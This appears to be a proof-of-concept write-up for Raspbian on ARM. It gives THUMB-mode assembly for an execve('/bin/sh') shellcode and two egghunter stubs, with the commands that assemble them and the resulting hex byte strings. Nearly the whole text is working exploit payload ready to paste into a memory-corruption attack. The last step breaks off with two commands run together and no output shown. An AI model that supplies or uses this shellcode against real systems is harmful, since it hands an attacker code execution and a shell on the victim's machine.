[System Information]
pi@raspberrypi:~ $ uname -a
Linux raspberrypi 4.14.52-v7+ #1123 SMP Wed Jun 27 17:35:49 BST 2018 armv7l GNU/Linux
pi@raspberrypi:~ $ lsb_release -a
No LSB modules are available.
Distributor ID: Raspbian
Description: Raspbian GNU/Linux 9.4 (stretch)
Release: 9.4
Codename: stretch
pi@raspberrypi:~ $


[Procedure]
(1) Create main shellcode in THUMB state. This PoC's example is execve("/bin/sh", NULL, NULL) shellcode. (20 Bytes)
pi@raspberrypi:~ $ cat shell.s
.section .text
.global _start

_start:
.THUMB
// execve("/bin/sh", NULL, NULL)
adr r0, spawn
eor r1, r1, r1
eor r2, r2, r2
strb r2, [r0, #endline-spawn-1]
mov r7, #11
svc #1

spawn:
.ascii "/bin/shX"
endline:
pi@raspberrypi:~ $ as -o shell.o shell.s && ld -N -o shell shell.o
pi@raspberrypi:~ $ objcopy -O binary shell shell.bin
pi@raspberrypi:~ $ hexdump -v -e '"\""x" 1/1 "%02x" ""' shell.bin && echo
x02xa0x49x40x52x40xc2x71x0bx27x01xdfx2fx62x69x6ex2fx73x68x58
pi@raspberrypi:~ $

(2-a) If your main shellcode is in higher address, use following egghunter. (28 Bytes)
pi@raspberrypi:~ $ cat egghunter-high.s
.section .text
.global _start

_start:
.ARM
add lr, pc, #1
bx lr

.THUMB
adr r1, startpoint
ldr r2, egg

next_addr:
add r1, r1, #1
ldr r3, [r1]
cmp r2, r3
bne next_addr
add r1, r1, #4
mov pc, r1

egg:
.ascii "PWN!"
startpoint:
pi@raspberrypi:~ $ as -o egghunter-high.o egghunter-high.s && ld -N -o egghunter-high egghunter-high.o
pi@raspberrypi:~ $ objcopy -O binary egghunter-high egghunter-high.bin
pi@raspberrypi:~ $ hexdump -v -e '"\""x" 1/1 "%02x" ""' egghunter-high.bin && echo
x01xe0x8fxe2x1exffx2fxe1x04xa1x03x4ax01x31x0bx68x9ax42xfbxd1x04x31x8fx46x50x57x4ex21
pi@raspberrypi:~ $

(2-b) If your main shellcode is in lower address, use following egghunter. (28 Bytes)
pi@raspberrypi:~ $ cat egghunter-low.s
.section .text
.global _start

_start:
.ARM
add lr, pc, #1
bx lr

.THUMB
adr r1, startpoint
ldr r2, egg

next_addr:
sub r1, r1, #1
ldr r3, [r1]
cmp r2, r3
bne next_addr
startpoint:
add r1, r1, #4
mov pc, r1

egg:
.ascii "PWN!"
pi@raspberrypi:~ $ as -o egghunter-low.o egghunter-low.s && ld -N -o egghunter-low egghunter-low.o
pi@raspberrypi:~ $ objcopy -O binary egghunter-low egghunter-low.binpi@raspberrypi:~ $ hexdump -v -e '"\""x" 1/1 "%02x" ""' egghunter-low.bin && echo
